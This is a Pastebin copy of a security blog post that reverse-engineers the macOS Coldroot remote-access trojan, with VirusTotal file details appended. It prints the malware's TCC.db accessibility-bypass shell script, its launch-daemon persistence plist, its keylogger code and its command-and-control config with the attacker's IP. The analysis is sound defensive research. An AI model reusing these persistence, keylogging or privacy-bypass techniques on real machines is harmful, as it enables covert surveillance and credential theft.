Advertisement
Guest User

Coldroot RAT

a guest
Feb 21st, 2018
1,045
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.51 KB | None | 0 0
  1.  
  2. Subscribe
  3.  
  4. Blog
  5. Products
  6. About
  7.  
  8. Digita Security
  9. Cybersecurity solutions for the
  10.  
  11. innovative
  12. enterprising
  13. modern
  14. mobile
  15. independent
  16.  
  17. macOS workforce
  18. February 19, 2018, by Patrick Wardle
  19. Tearing Apart the Undetected (OSX)Coldroot RAT
  20. analyzing the persistence, features, and capabilities of a cross-platform backdoor
  21.  
  22. Patrick has always said he likes his tools open source! Follow along as he uncovers and analyzes an undetected cross-platform “Remote Administration Tool”, complete with tracing its origins to a github repository and a publicly available YouTube demo 😮
  23.  
  24. While the intent of the author, how the sample ended up on VT, and if users have ever been targeted are not known at this time, the features and capabilities of malware are certainly present.
  25.  
  26. Want to interactively play along with his breakdown? Objective-See has shared the malware, which can be downloaded here – password: infect3d.
  27. Background
  28.  
  29. Next month, I’m stoked to be presenting some new research at SyScan360 in Singapore. Titled, “Synthetic Reality; Breaking macOS One Click at a Time” my talk will discuss a vulnerability I found in all recent versions of macOS that allowed unprivileged code to interact with any UI component including ‘protected’ security dialogs. Though reported and now patched, it allowed one to do things like dump passwords from the keychain or bypass High Sierra’s “Secure Kext Loading” - in a manner that was invisible to the user 🙈.
  30.  
  31. As part of my talk, I’m covering various older (and currently mitigated) attacks, which sought to dismiss or avoid UI security prompts. Think, (ab)using AppleScript, sending simulated mouse events via core graphics, or directly interacting with the file system. An example of the latter was DropBox, which directly modified macOS’s ‘privacy database’ (TCC.db) which contains the list of applications that are afforded ‘accessibility’ rights. With such rights, applications can then interact with system UIs, other applications, and even intercept key events (i.e. keylogging). By directly modifying the database, one could avoid the obnoxious system alert that is normally presented to the user:
  32. UI bypass via TCC.db
  33.  
  34. Though Apple now thwarts this attack, by protecting TCC.db via SIP - various macOS keyloggers still attempt to utilize this ‘attack.’ I figured one of these keyloggers would be a good addition to my slides as an illustrative example.
  35.  
  36. Hopping over to VirusTotal, I searched for files containing references to the TCC.db database, which returned a handful of hits:
  37. VT results for string search = TCC.db
  38.  
  39. Besides a variety of CounterStrike hacks (csgohack.app), and (known) keyloggers (FreeKeylogger.dmg, KeyLogger.BlueBlood.A), an unflagged file named com.apple.audio.driver2.app (SHA-256: c20980d3971923a0795662420063528a43dd533d07565eb4639ee8c0ccb77fdf) caught my eye:
  40. Virus Total Detections (or lack of) for com.apple.audio.driver2.app
  41.  
  42. Though currently no AV-engine on VirusTotal flags this application as malicious, the fact it contained a reference to (TCC.db) warranted a closer look.
  43.  
  44. __const:001D2804 text "UTF-16LE", 'touch /private/var/db/.AccessibilityAPIEnabled && s'
  45. __const:001D2804 text "UTF-16LE", 'qlite3 "/Library/Application Support/com.apple.TCC/'
  46. __const:001D2804 text "UTF-16LE", 'TCC.db" "INSERT or REPLACE INTO access (service, cl'
  47. __const:001D2804 text "UTF-16LE", 'ient, client_type, allowed, prompt_count) VALUES (',27h
  48. __const:001D2804 text "UTF-16LE", 'kTCCServiceAccessibility',27h,', ',27h,0
  49.  
  50. Using Digita Security’s UXProtect, I was also able to easily confirm that Apple has not silently pushed out any XProtect signatures for the malware (to intrinsically protect macOS users):
  51. No XProtect signatures matching Coldroot
  52. Determining Malice
  53.  
  54. My first question was, “is com.apple.audio.driver2.app malicious?”
  55.  
  56. Though there is no exact science to arrive at a conclusive answer for this question, several (massive) ‘red flags’ stick out here. Flags, that clearly confirm the malicious nature of com.apple.audio.driver2.app:
  57.  
  58. As mentioned, the application contains reference to TCC.db. AFAIK, there is no legitimate or benign reason why non-Apple code should ever reference this file!
  59. The application is unsigned, though claims to be an “Apple audio driver”. My WhatsYourSign Finder extension, will display any signing information (or lack thereof) via the UI:
  60.  
  61. Signing information for com.apple.audio.driver2.app
  62.  
  63. The application is packed with UPX. Though packing a binary doesn’t make it malicious per se, it’s rare to see a legitimate binary packed on macOS:
  64.  
  65.  
  66. $ python isPacked.py com.apple.audio.driver2.app
  67. scanning com.apple.audio.driver2.app/Contents/MacOS/com.apple.audio.driver2
  68.  
  69. UPX segments found
  70.  
  71. binary is packed (packer: UPX)
  72.  
  73. For it’s main icon, the application uses macOS’s standard ‘document’ icon to masquerade as a document. This is common tactic used by malware authors in order to trick user’s in running their malicious creations:
  74.  
  75. AppIcon pretending to be a document
  76.  
  77. When executed, the application displays a standard authentication prompt, requesting user credentials. Once it the user enters their creds, then application performs no other readily visible action. This is not normal application behavior:
  78.  
  79. Authentication prompt
  80.  
  81. Behind the scenes the application persists itself as a launch daemon. This is a common method employed by malware to ensure that it is automatically (re)started every time an infected system is rebooted. BlockBlock will detect this persistence:
  82.  
  83. Detecting persistence attempt via BlockBlock
  84.  
  85. Again, behind the scenes, the application will automatically beacon out to a server. While creating a network connection is itself not inherently malicious, it is a common tactic used by malware - specifically to check in with a command & control server for tasking. LuLu will intercept and alert on this connection attempt:
  86.  
  87. Detecting beacon via LuLu
  88.  
  89. At this point I was thoroughly convinced that though no AV-engine on VirusTotal flagged com.apple.audio.driver2.app, it was clearly malicious!
  90.  
  91. Let’s now dive in and reverse it gain a deeper understanding of its actions and capabilities.
  92. Analysis
  93.  
  94. First, let’s unpack the malware. Since it’s packed with UPX, one can trivially unpack it via upx -d:
  95.  
  96.  
  97. $ upx -d Contents/MacOS/com.apple.audio.driver
  98. Ultimate Packer for eXecutables
  99. Copyright (C) 1996 - 2013
  100. UPX 3.09 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 18th 2013
  101.  
  102. With LZMA support, Compiled by Mounir IDRASSI (mounir@idrix.fr)
  103.  
  104. File size Ratio Format Name
  105. -------------------- ------ ----------- -----------
  106. 3292828 <- 983040 29.85% Mach/i386 com.apple.audio.driver
  107.  
  108. Unpacked 1 file.
  109.  
  110. Once the malware has been unpacked, one of the first things we notice when reversing it’s binary, is that it was apparently written in pascal. Though likely done to achieve cross-platform comparability, who the hell writes pascal on macOS!?! Well apparently at least one person!
  111.  
  112. How do we know it was likely written in pascal? First, looking at the malware’s entry point, main(), we see it calling something named FPC_SYSTEMMAIN which in turn invokes a function named PASCALMAIN:
  113.  
  114. int _main(int arg0, int arg1, int arg2) {
  115. eax = _FPC_SYSTEMMAIN(arg2, arg1, arg2);
  116. return eax;
  117. }
  118.  
  119. int _FPC_SYSTEMMAIN(int arg0, int arg1, int arg2) {
  120. *_U_$SYSTEM_$$_ARGC = arg0;
  121.  
  122. _SYSTEM_$$_SET8087CW$WORD();
  123.  
  124. eax = _PASCALMAIN();
  125. return eax;
  126. }
  127.  
  128. Note that here, FPC stands for ‘Free Pascal Compiler’
  129.  
  130. Other strings in the binary reference the Free Pascal Compiler (FPC) and reveal the presence of several pascal libraries compiled into the malware:
  131.  
  132.  
  133. $ strings -a Contents/MacOS/com.apple.audio.driver | grep FPC
  134.  
  135. FPC 3.1.1 [2016/04/09] for i386 - Darwin
  136. FPC_RESLOCATION
  137.  
  138. TLazWriterTiff - Typhon LCL: 5.7 - FPC: 3.1.1
  139. TTiffImage - Typhon LCL: 5.7 - FPC: 3.1.1
  140.  
  141. The malware’s malicious logic begins in the aforementioned PASCALMAIN function. Due to the presence of debug strings and verbose method names, reversing is actually quite easy!
  142.  
  143. First, the malware loads it ‘settings’. It does by first building a path to it’s settings file, then invoking the LOADSETTINGS function. If the loading succeeds it logs a "LoadSettings ok" message:
  144.  
  145. __text:00011DD4 call _CUSTAPP$_$TCUSTOMAPPLICATION_$__$$_GETEXENAME$$ANSISTRING
  146. __text:00011DD9 mov eax, [ebp+var_30]
  147. __text:00011DDC lea edx, [ebp+var_2C]
  148. __text:00011DDF call _SYSUTILS_$$_EXTRACTFILEPATH$RAWBYTESTRING$$RAWBYTESTRING
  149. __text:00011DE4 mov eax, [ebp+var_2C]
  150. __text:00011DE7 call _GLOBALVARS_$$_LOADSETTINGS$ANSISTRING$$BOOLEAN
  151. __text:00011DEC test al, al
  152. __text:00011DEE jz short loc_11DFB
  153. __text:00011DF0 lea eax, (aLoadsettingsOk - 11D95h)[ebx] ; "LoadSettings ok "
  154. __text:00011DF6 call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING
  155.  
  156. Where is the malware’s setting file? Well if we look at the disassembly we can see it appending "conx.wol" to file path of the malware’s binary (e.g com.apple.audio.driver2.app/Contents/MacOS/) - and the checking if that file exists:
  157.  
  158. __text:000683F3 lea ecx, (aConxWol - 683A2h)[ebx] ; "conx.wol"
  159. __text:000683F9 call fpc_ansistr_concat
  160. __text:000683FE mov eax, [ebp+var_14]
  161. __text:00068401 call _SYSUTILS_$$_FILEEXISTS$RAWBYTESTRING$$BOOLEAN
  162.  
  163. A file monitor (such as macOS’s built in fs_usage utility) dynamically reveals the path to this file, as the malware opens and reads it during execution:
  164.  
  165.  
  166. # fs_usage -w -f filesystem
  167. access (___F) com.apple.audio.driver2.app/Contents/MacOS/conx.wol
  168. open F=3 (R_____) com.apple.audio.driver2.app/Contents/MacOS/conx.wol
  169. flock F=3
  170. read F=3 B=0x92
  171. close F=3
  172.  
  173. Opening the settings file, "conx.wol", reveals the malware’s configuration (in plaintext JSON):
  174.  
  175.  
  176. $ cat com.apple.audio.driver2.app/Contents/MacOS/conx.wol
  177. {
  178. "PO": 80,
  179. "HO": "45.77.49.118",
  180. "MU": "CRHHrHQuw JOlybkgerD",
  181. "VN": "Mac_Vic",
  182. "LN": "adobe_logs.log",
  183. "KL": true,
  184. "RN": true,
  185. "PN": "com.apple.audio.driver"
  186. }
  187.  
  188. The meaning of the settings can be ascertained by their abbreviation and/or value. For example, 'PO' is port (HTTP, 80), 'HO' is host (attacker’s command & control server at 45.77.49.118). 'MU' is likely ‘mutex’, while 'VN' is the name of the victim. The 'LN'value is the name of the log file for the keylogger ('KL'). I’m guessing 'RN' is for run normal - meaning the implant can run as a default user (vs. root). Finally 'PN' is the process name of the malware.
  189.  
  190. Once the malware has loaded its setting from conx.wol, it persistently installs itself. The logic for the install is contained in the '_INSTALLMEIN_$$_INSTALL' function:
  191.  
  192. __text:00011E12 lea eax, (aInstallInit - 11D95h)[ebx] ; "Install init "
  193. __text:00011E18 call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING
  194. __text:00011E1D call _INSTALLMEIN_$$_INSTALL$$BOOLEAN
  195.  
  196. The '_INSTALLMEIN_$$_INSTALL' performs the following steps: * copies itself to /private/var/tmp/ * builds a launch daemon plist in memory * writes it out to com.apple.audio.driver2.app/Contents/MacOS/com.apple.audio.driver.plist * executes /bin/cp to install it into the /Library/LaunchDaemons/ directory * launches the newly installed launch daemon via /bin/launchctl
  197.  
  198. The ‘template’ for the launch daemon plist is embedded directly in the malware’s binary:
  199. Embedded plist template
  200.  
  201. Once saved to disk we can easily dump the plist’s contents:
  202.  
  203.  
  204. $ cat /Library/LaunchDaemons/com.apple.audio.driver.plist
  205. <?xml version="1.0" encoding="UTF-8"?>
  206. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ... >
  207. <plist version="1.0">
  208. <dict>
  209. <key>Label</key>
  210. <string>com.apple.audio.driver</string>
  211. <key>Program</key>
  212. <string>/private/var/tmp/com.apple.audio.driver.app
  213. /Contents/MacOS/com.apple.audio.driver</string>
  214. <key>ProgramArguments</key>
  215. <array>
  216. <string>/private/var/tmp/com.apple.audio.driver.app
  217. /Contents/MacOS/com.apple.audio.driver</string>
  218. </array>
  219. <key>KeepAlive</key>
  220. <true/>
  221. <key>RunAtLoad</key>
  222. <true/>
  223. <key>UserName</key>
  224. <string>root</string>
  225. </dict>
  226.  
  227. As the RunAtLoad key is set to true, the OS will automatically start the malware anytime the infected system is rebooted.
  228.  
  229. We can dynamically watch the install unfold by simply running the malware, whilst ProcInfo(my open-source process monitor), is running:
  230.  
  231.  
  232. # ./procInfo
  233.  
  234. //copy self to /private/var/tmp/
  235. process start:
  236. pid: 1222
  237. path: /bin/cp
  238. user: 501
  239. args: (
  240. "/bin/cp",
  241. "-r",
  242. "~/Desktop/com.apple.audio.driver2.app/Contents/MacOS/../..",
  243. "/private/var/tmp/com.apple.audio.driver.app"
  244. )
  245.  
  246. //copy launch daemon plist to /Library/LaunchDaemons
  247. process start:
  248. pid: 1230
  249. path: /bin/cp
  250. user: 0
  251. args: (
  252. "/bin/cp",
  253. "~/Desktop/com.apple.audio.driver2.app/Contents/MacOS/com.apple.audio.driver.plist",
  254. "/Library/LaunchDaemons"
  255. )
  256.  
  257. //launch daemon instance
  258. process start:
  259. pid: 1231
  260. path: /bin/launchctl
  261. user: 0
  262. args: (
  263. "/bin/launchctl",
  264. load,
  265. "/Library/LaunchDaemons/com.apple.audio.driver.plist"
  266. )
  267.  
  268. As previously noted, this persistent install attempt will trigger a BlockBlock alert:
  269. BlockBlock Alert
  270.  
  271. The astute reader will have noted that the install (copy) operation and launching of the daemon is executed as root (user: 0). The malware accomplishes this by executing these operations via it’s _LETMEIN_$$_EXEUTEWITHPRIVILEGES$$BOOLEAN function.
  272.  
  273. Reversing this function reveals it simply invokes Apple’s AuthorizationExecuteWithPrivileges function. ‘Under the hood’ the OS invokes /usr/libexec/security_authtrampoline in order to execute the specified process as root (security_authtrampoline is setuid):
  274.  
  275.  
  276. # ./procInfo
  277.  
  278. process start:
  279. pid: 1232
  280. path: /usr/libexec/security_authtrampoline
  281. user: 501
  282. args: (
  283. "/usr/libexec/security_authtrampoline",
  284. "/bin/launchctl",
  285. "auth 3",
  286. start,
  287. "/Library/LaunchDaemons/com.apple.audio.driver.plist"
  288. )
  289.  
  290. Of course in order for AuthorizationExecuteWithPrivileges to succeed, user credentials are required and must be entered via an OS authentication prompt. The malware hopes the naive user will simply enter such credentials:
  291. Standard authentication prompt
  292.  
  293. Besides persistently installing itself as a launch daemon, the '_INSTALLMEIN_$$_INSTALL' function also attempts to provide the malware with accessibility rights (so that it may perform system-wide keylogging). In order to gain such rights first creates the /private/var/db/.AccessibilityAPIEnabled file and then modifies the privacy database TCC.db, The former affords accessibility rights on older versions of macOS.
  294.  
  295. The logic to enable accessibility rights, can be found in a bash script that the malware creates in /private/var/tmp/runme.sh:
  296.  
  297.  
  298. $ cat /private/var/tmp/runme.sh
  299.  
  300. #!/bin/sh
  301. touch /private/var/db/.AccessibilityAPIEnabled &&
  302. sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "INSERT or
  303. REPLACE INTO access (service, client, client_type, allowed, prompt_count)
  304. VALUES ('kTCCServiceAccessibility', 'com.apple.audio.driver', 0, 1, 0);"
  305.  
  306. Though this script is executed as root, on newer versions of macOS (Sierra+) it will fail as the privacy database is now protected by SIP:
  307.  
  308.  
  309. $ sw_vers
  310. ProductName: Mac OS X
  311. ProductVersion: 10.13.3
  312.  
  313. $ ls -lartO@ /Library/Application\ Support/com.apple.TCC/TCC.db
  314. -rw-r--r-- 1 root wheel restricted /Library/Application Support/com.apple.TCC/TCC.db
  315.  
  316. However, on older versions of OSX/macOS the malware will gain accessibility rights:
  317. Accessibility Settings UI
  318.  
  319. At this point, the malware is now fully persistently installed as will be started as root, each time the infected system is (re)started:
  320. Persistence mechanism highlight by KnockKnock
  321.  
  322. Let’s now look at the malware’s features and capabilities.
  323.  
  324. Each time the malware is up and running it performs two main tasks: * kicks off keylogging logic * checks in with the command & control server and performs any received tasking
  325.  
  326. The keylogging logic (referred to as 'keyloser'), is started when the malware executes _KEYLOSER$_$TKEYLOGGERTHREAD_$__$$_CREATE$$TKEYLOGGERTHREAD from PASCALMAIN. The keylogger thread eventually invokes a function at 0x0006a950 which starts the actual keylogging logic. Looking at its decompilation, it’s easy to see that the malware is using Apple’s CoreGraphics APIs to capture key presses:
  327.  
  328. int sub_6a950(int arg0, int arg1, int arg2, int arg3, int arg4) {
  329.  
  330. eax = CGEventTapCreate(0x1, 0x0, 0x0, 0x1c00, 0x0, sub_6a3d0);
  331. if (eax != 0x0) {
  332. CFRunLoopAddSource(CFRunLoopGetCurrent(),
  333. CFMachPortCreateRunLoopSource(**_kCFAllocatorDefault, var_4, 0x0), **_kCFRunLoopCommonModes);
  334.  
  335. CGEventTapEnable(0x1, 0x1);
  336. CFRunLoopRun();
  337. }
  338.  
  339. ...
  340.  
  341. return eax;
  342. }
  343.  
  344.  
  345. And speaking of keylogging via CoreGraphics APIs, I’m actually also talking about this in my SyScan360 talk:
  346. Syscan slides on keylogging technique
  347.  
  348. As we can see in the malware’s code and my slide, to capture keystrokes: simply create an ‘event tap’, enable it, and add it to the current runloop (note that root/accessibility is requires to capture all key presses). Now, any time the user generates a key event, the OS will automatically call the callback function that was specified in the call to CGEventTapCreate. For the malware, this is sub_6a3d0.
  349.  
  350. The code in the sub_6a3d0 function simply formats and logs the key press to file specified in the "LN" value of settings file: adobe_logs.log.
  351.  
  352. By ‘tailing’ the keylogger’s log file, we can observe it in action…for example, logging my banking credentials:
  353.  
  354. Keylogger in action
  355.  
  356. Once the keylogging thread is off and running, kicks off the main client thread via a call to CONNECTIONTHREAD$_$TMAINCLIENTTHREAD_$__$$_CREATE$BOOLEAN$$TMAINCLIENTTHREAD. This first opens a connect to the malware’s command & control server whose IP address and port are specified in the malware’s settings file, conx.wol:
  357.  
  358.  
  359. $ cat com.apple.audio.driver2.app/Contents/MacOS/conx.wol
  360. {
  361. "PO": 80,
  362. "HO": "45.77.49.118",
  363. ...
  364. }
  365.  
  366. Once a connection has been made, the OSX/Coldroot gathers some information about the infected host and sends it to the server. The survey logic is implemented in a function at address 0x000636c0, which calls various functions such as 'GETHWIDSERIAL', 'GETUSERNAME', and 'GETRAMSIZEALL':
  367.  
  368. int sub_636c0() {
  369. ...
  370.  
  371. _OSFUNCTIONS_$$_GETHWIDSERIAL$$ANSISTRING();
  372.  
  373. _OSFUNCTIONS_$$_GETUSERNAME$$ANSISTRING();
  374.  
  375. _OSFUNCTIONS_$$_GETOS$$ANSISTRING();
  376.  
  377. _OSFUNCTIONS_$$_GETRAMSIZEALL$$INT64();
  378.  
  379. }
  380.  
  381. These function invoke various macOS utilities such as sw_vers, uname, and id to gather the required information:
  382.  
  383.  
  384. # ./procInfo
  385.  
  386. //get OS version
  387. process start:
  388. pid: 1569
  389. path: /usr/bin/sw_vers
  390. user: 501
  391. args: (
  392. "/usr/bin/sw_vers"
  393. )
  394.  
  395. //get architecture
  396. process start:
  397. pid: 1566
  398. path: /usr/bin/uname
  399. user: 501
  400. args: (
  401. "/usr/bin/uname",
  402. "-m"
  403. )
  404.  
  405. //get user name
  406. process start:
  407. pid: 1567
  408. path: /usr/bin/id
  409. user: 501
  410. args: (
  411. "/usr/bin/id",
  412. "-F"
  413. )
  414.  
  415. In a debugger (lldb), we can set a breakpoint on send and then dump the bytes being sent to the command & control server:
  416.  
  417.  
  418. lldb com.apple.audio.driver2.app
  419. (lldb) target create "com.apple.audio.driver2.app"
  420. Current executable set to 'com.apple.audio.driver2.app' (i386).
  421. (lldb) b send
  422.  
  423. (lldb) r
  424.  
  425. Process 1294 stopped
  426. * thread #5, stop reason = breakpoint 1.1
  427. frame #0: 0xa766a39f libsystem_c.dylib`send
  428.  
  429. (lldb) x/3x $esp
  430. 0xb0596a9c: 0x00173a6d 0x00000003 0x03b2d1a8
  431.  
  432. (lldb) x/100bx 0x03b2d1a8
  433. 0x03b2d1a8: 0x70 0x75 0x3f 0x00 0x48 0x6f 0x59 0xb0
  434. 0x03b2d1b0: 0x8e 0x8a 0x02 0x00 0x8c 0x75 0x3f 0x00
  435. 0x03b2d1b8: 0xae 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  436. 0x03b2d1c0: 0xad 0xde 0x02 0x00 0x00 0x00 0x00 0x00
  437. 0x03b2d1c8: 0x00 0x00 0x00 0x00 0x7b 0x22 0x56 0x65
  438. 0x03b2d1d0: 0x72 0x22 0x3a 0x31 0x2c 0x22 0x52 0x41
  439. 0x03b2d1d8: 0x4d 0x22 0x3a 0x30 0x2c 0x22 0x43 0x41
  440. 0x03b2d1e0: 0x4d 0x22 0x3a 0x66 0x61 0x6c 0x73 0x65
  441. 0x03b2d1e8: 0x2c 0x22 0x53 0x65 0x72 0x69 0x61 0x6c
  442. 0x03b2d1f0: 0x22 0x3a 0x22 0x78 0x38 0x36 0x5f 0x36
  443. 0x03b2d1f8: 0x34 0x5c 0x6e 0x22 0x2c 0x22 0x50 0x43
  444. 0x03b2d200: 0x4e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x75
  445. 0x03b2d208: 0x73 0x65 0x72 0x5c
  446.  
  447. (lldb) x/s 0x03b2d1cc
  448. 0x03b2d1cc: "{"Ver":1,"RAM":0,"CAM":false,"Serial":"x86_64\n","PCName":
  449. "user\n - user","OS":"Mac OS X10.13.2","ID":"Mac_Vic","AW":"N\/A","AV":"N\/A"}"
  450.  
  451. Note that the malware actually prints this out to stdout as well:
  452.  
  453.  
  454. (lldb) c
  455.  
  456. JSON Packet : {"Ver":1,"RAM":0,"CAM":false,"Serial":"x86_64\n","PCName":
  457. "user\n - user","OS":"Mac OS X10.13.2","ID":"Mac_Vic","AW":"N\/A","AV":"N\/A"}
  458.  
  459. PC info sent ..
  460.  
  461.  
  462. If we allow the malware to continue, we can also capture this same data in a network monitoring tools such as WireShark:
  463. Beacon activity observed in Wireshark
  464.  
  465. You might be wondering why in the survey data sent to the command & control server, 'Serial' is set to x86_64 or why the 'RAM' is set to 0.
  466.  
  467. Well to generate the value for 'Serial', the malware executes uname with the -m flag…which returns the architecture of the system (not the serial, which could be retrieved via something like: ioreg -l | grep IOPlatformSerialNumber). For determining the amount of RAM, the malware invokes a function called 'GETRAMSIZEALL'…this simply returns 0:
  468.  
  469. int _OSFUNCTIONS_$$_GETRAMSIZEALL$$INT64()
  470. {
  471. return 0x0;
  472. }
  473.  
  474.  
  475. Once OSX/Coldroot has checked in, it will process any tasking returned from the command & control server. The logic for this is implemented in the _NEWCONNECTIONS_$$_PROCESSPACKET$TIDTCPCLIENT$TIDBYTES function. This function parses out the command from the command & control server, and then processes (acts upon) it.
  476.  
  477. In disassembled code, this looks like the following:
  478. __text:000691F7 call _CONNECTIONFUNC_$$_BYTEARRAYTOMAINPACKET$TIDBYTES$$TMAINPACKET
  479. __text:000691FC mov eax, [ebp+command]
  480. __text:000691FF test eax, eax
  481. __text:00069201 jl loc_6986B
  482. __text:00069207 test eax, eax
  483. __text:00069209 jz loc_692C9
  484. __text:0006920F sub eax, 2
  485. __text:00069212 jz loc_692D9
  486. __text:00069218 sub eax, 1
  487. __text:0006921B jz loc_6935E
  488. __text:00069221 sub eax, 2
  489. __text:00069224 jz loc_69374
  490. __text:0006922A sub eax, 1
  491. __text:0006922D jz loc_693EC
  492. __text:00069233 sub eax, 1
  493. __text:00069236 jz loc_694AA
  494. __text:0006923C sub eax, 2
  495. __text:0006923F jz loc_695A2
  496. ...
  497.  
  498. Via static analysis, we can determine what commands are supported by the malware. Let’s look at an example of this.
  499.  
  500. When the malware receives command #7 from the command & control server, it executes the logic at 0x000694aa. In the same block of code it contains the debug string "Delete File : ", a call to function named 'DELETEFILEFOLDER', and other debug string, "{{{{ Delete OK Lets test }}}}":
  501.  
  502. __text:000694DA lea edx, (aDeleteFile - 6914Bh)[ebx] ; "Delete File : "
  503. __text:000694E0 lea eax, [ebp+var_D8]
  504. __text:000694E6 call fpc_unicodestr_concat
  505. __text:000694EB mov eax, [ebp+var_D8]
  506. __text:000694F1 call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING
  507.  
  508. __text:00069504 mov eax, [ebp+var_A4]
  509. __text:0006950A call _FILESFUNC_$$_DELETEFILEFOLDER$UNICODESTRING$$BOOLEAN
  510.  
  511. __text:00069548 lea eax, (aDeleteOkLetsTe - 6914Bh)[ebx] ; "{{{ Delete OK Lets test }}}"
  512. __text:0006954E call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING
  513.  
  514. Probably safe to guess command #7 is the delete file (or directory) command! But let’s confirm.
  515.  
  516. The 'DELETEFILEFOLDER' function calls _LAZFILEUTILS_$$_DELETEFILEUTF8$ANSISTRING$$BOOLEAN which in turn calls _SYSUTILS_$$_DELETEFILE$RAWBYTESTRING$$BOOLEAN which finally calls unlink (the system call to delete a file or directory).
  517.  
  518. Repeating this process for the other commands reveals the following capabilities: * file/directory list * file/directory rename * file/directory delete * process list * process execute * process kill * download * upload * get active window * remote desktop * shutdown
  519.  
  520. All are self-explanatory and implemented in fairly standard ways (i.e. delete file calls unlink), save perhaps for the remote desktop command.
  521.  
  522. When the malware receives a command from the server to start a remote desktop session, it spawns a new thread named: 'REMOTEDESKTOPTHREAD'. This basically sits in a while loop (until the 'stop remote desktop' command is issued), taking and ‘streaming’ screen captures of the user’s desktop to the remote attacker:
  523.  
  524. while ( /* should capture */ ) {
  525. ...
  526. _REMOTEDESKTOP_$$_GETSHOT$LONGINT$LONGINT$WORD$WORD$$TIDBYTES(...);
  527.  
  528. _CONNECTIONFUNC_$$_CLIENTSENDBUFFER$TIDTCPCLIENT$TIDBYTES$$BOOLEAN();
  529.  
  530. _CLASSES$_$TTHREAD_$__$$_SLEEP$LONGWORD();
  531. }
  532.  
  533. It should be noted that if no command or tasking is received from the command & control server, the malware will simply continue beaconing…interestingly, sending the name of the user’s active window in each heartbeat:
  534.  
  535.  
  536. $ cat /private/var/tmp/com.apple.audio.driver.app/Contents/MacOS/conx.wol
  537. {"PO":1337,"HO":"127.0.0.1","MU":"CRHHrHQuw JOlybkgerD","VN":"Mac_Vic",
  538. "LN":"adobe_logs.log","KL":true,"RN":true,"PN":"com.apple.audio.driver"}
  539.  
  540. //local listener
  541. // note: non-printable characters removed
  542. $ nc -l 1337
  543. {"Ver":1,"RAM":0,"CAM":false,"Serial":"x86_64\n","PCName":"user\n - user",
  544. "OS":"Mac OS X10.13.2","ID":"Mac_Vic","AW":"N\/A","AV":"N\/A"}
  545.  
  546. ...
  547. Calculator
  548. Safari
  549. Terminal
  550.  
  551. Alright, that wraps up our reversing sessions of OSX/Coldroot. Let’s now discuss some other interesting aspects of the malware, such as its author, source-code, and business model!
  552. Coldroot
  553.  
  554. Once the technical analysis of the malware was complete, I began googling around on an interesting string in the binary. Looking at the disassembly of OSX/Coldroot we can see this string embedded in the binary, purportedly identifying the author’s handle:
  555.  
  556. _NEWCONNECTIONS_$$_FINALIZY proc near
  557. push ebp
  558. mov ebp, esp
  559. lea esp, [esp-8]
  560. mov [ebp+var_4], ebx
  561. call $+5
  562. pop ebx
  563. lea eax, (aCodedByColdzer - 6992Fh)[ebx] ; "Coded By Coldzer0 / Skype:Coldzer01 "
  564. call _DEBUGUNIT_$$_WRITELOG$UNICODESTRING
  565. mov ebx, [ebp+var_4]
  566. mov esp, ebp
  567. pop ebp
  568. retn
  569.  
  570. Besides revealing the likely identify of the malware author, this turns up:
  571.  
  572. source code for an old (incomplete) version of Coldroot
  573. an informative demo video of the malware
  574.  
  575. The source code, though (as noted), is both old and incomplete - provides some confirmation of our analysis. For example, the PacketTypes.pas file contains information about the malware’s protocol and tasking commands:
  576. PacketTypes.pas source code on github
  577.  
  578. The demo video is rather neat as it provides further insight into Coldroot, visually illustrating how an attacker can build (and customize) deployable agents:
  579. Building an Agent
  580.  
  581. …and also how they can be remotely interacted with, and tasked:
  582. Tasking an Agent
  583.  
  584. The video also confirms the fact that Coldroot is indeed a fully cross-platform ‘remote admin tool’ (RAT):
  585. Cross Platform Targets/Agents
  586.  
  587. If you have some extra time on your hands, check the video:
  588.  
  589. Note: the original video has been removed from YouTube
  590.  
  591. In terms of the plans for the Coldroot, he stated in the comments both it’s release date (1/1/2017) and that fact that it would be for sale:
  592. Telling comments in chat
  593.  
  594. Conclusions In this blog post we provided a comprehensive technical analysis of the macOS agent of the cross-platform RAT OSX/Coldroot. Though not particularly sophisticated, it’s rather ‘feature complete’ and currently undetected all AV-engines on VirusTotal. Moreover, it is a good illustrative example that hackers continue to target macOS!
  595.  
  596. And remember if you want to stay safe, running the latest version of macOS will definitely help! For one, (due to a bug in UPX?) the OS refuses to even run the malware:
  597.  
  598.  
  599. $ lldb com.apple.audio.driver2.app
  600. (lldb) r
  601. error: error: ::posix_spawnp ( pid => 1256, path = 'com.apple.audio.driver2.app')
  602. err = Malformed Mach-o file (0x00000058)
  603.  
  604. Moreover free tools from Objective-See.com such as BlockBlock and LuLu can generically thwart such threats :)
  605.  
  606. Interested in enterprise/vendor supported versions of these detection techniques!? Digita Security continues to build its flagship macOS endpoint protection product – powered by Objective-See technologies 🚀. Stay tuned for more announcements!
  607. Digita Security
  608.  
  609. a Digita Security Production, © Digita Security LLC, 2017
  610.  
  611. privacy policy
  612.  
  613. terms of service
  614. Site Links:
  615.  
  616. Blog
  617. Products
  618. About
  619.  
  620. Company Links:
  621.  
  622. @digita_security
  623. github
  624. Linkedin
  625. info@digitasecurity.com
  626. RSS Feed
  627.  
  628. --
  629.  
  630. Basic Properties
  631. MD5
  632. 8c3bbf5ebc86f1141c38e57084c7fd0f
  633. SHA-1
  634. 7e60c8ae77e20fbd7699187d0baf9ed0477e72f3
  635. File Type
  636. ZIP
  637. Magic
  638. Zip archive data, at least v1.0 to extract
  639. SSDeep
  640. 24576:quuwrHdeoFTVN/1wNxe8mTdptIys+DRX4dnBc/qXv76n+rtujhfqi:qkZeoLNagTdjAKRqC/qf76+0Jqi
  641. TRiD
  642. ZIP compressed archive (100%)
  643. File Size
  644. 1.3 MB
  645. Tags
  646. contains-machomac-appzip
  647. History
  648. First Submission
  649. 2018-01-05 04:54:02
  650. Last Submission
  651. 2018-02-21 09:54:48
  652. Last Analysis
  653. 2018-02-21 09:54:48
  654. Earliest Member Modification
  655. 2018-01-02 06:58:52
  656. Latest Member Modification
  657. 2018-01-02 06:58:52
  658. File names
  659.  
